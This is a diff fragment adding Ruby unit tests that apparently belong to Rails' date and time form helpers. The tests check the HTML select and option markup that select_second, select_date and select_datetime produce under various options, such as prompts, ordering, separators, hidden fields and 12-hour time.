+ expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</ [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+ end
+
+ def test_select_second_with_custom_prompt
+ expected = %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="1 [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose seconds')
+ end
+
+ def test_select_date
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_too_big_range_between_start_year_and_end_year
+ assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 20000, :prefix => "date[first]", :order => [:month, :day, :year]) }
+ assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => Date.today.year - 100.years, :end_year => 2000, :prefix => "date[first]", :order => [:month, :day, :year]) }
+ end
+
+ def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parameter
+ assert_nothing_raised { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 3100, :max_years_allowed => 2000) }
+ end
+
+ def test_select_date_with_order
+ expected = %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:month, :day, :year])
+ end
+
+ def test_select_date_with_incomplete_order
+ # Since the order is incomplete nothing will be shown
+ expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+ expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="1" />\n)
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:day])
+ end
+
+ def test_select_date_with_disabled
+ expected = %(<select id="date_first_year" name="date[first][year]" disabled="disabled">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]" disabled="disabled">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" disabled="disabled">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :disabled => true)
+ end
+
+ def test_select_date_with_no_start_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+1) do |y|
+ if y == Date.today.year
+ expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+ else
+ expected << %(<option value="#{y}">#{y}</option>\n)
+ end
+ end
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(
+ Time.mktime(Date.today.year, 8, 16), :end_year => Date.today.year+1, :prefix => "date[first]"
+ )
+ end
+
+ def test_select_date_with_no_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ 2003.upto(2008) do |y|
+ if y == 2003
+ expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+ else
+ expected << %(<option value="#{y}">#{y}</option>\n)
+ end
+ end
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(
+ Time.mktime(2003, 8, 16), :start_year => 2003, :prefix => "date[first]"
+ )
+ end
+
+ def test_select_date_with_no_start_or_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) do |y|
+ if y == Date.today.year
+ expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+ else
+ expected << %(<option value="#{y}">#{y}</option>\n)
+ end
+ end
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(
+ Time.mktime(Date.today.year, 8, 16), :prefix => "date[first]"
+ )
+ end
+
+ def test_select_date_with_zero_value
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_zero_value_and_no_start_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_zero_value_and_no_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ last_year = Time.now.year + 5
+ 2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_zero_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_nil_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_html_options
+ expected = %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => "selector")
+ end
+
+ def test_select_date_with_separator
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
+ end
+
+ def test_select_date_with_separator_and_discard_day
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
+ end
+
+ def test_select_date_with_separator_discard_month_and_day
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<input type="hidden" id="date_first_month" name="date[first][month]" value="8" />\n)
+ expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_month => true, :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
+ end
+
+ def test_select_date_with_hidden
+ expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003"/>\n)
+ expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :prefix => "date[first]", :use_hidden => true })
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :prefix => "date[first]", :use_hidden => true })
+ end
+
+ def test_select_date_with_css_classes_option
+ expected = %(<select id="date_first_year" name="date[first][year]" class="year">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]" class="month">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" class="day">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true})
+ end
+
+ def test_select_datetime
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+ end
+
+ def test_select_datetime_with_ampm
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\ [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :ampm => true)
+ end
+
+ def test_select_datetime_with_separators
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :datetime_separator => ' — ', :time_separator => ' : ')
+ end
+
+ def test_select_datetime_with_nil_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
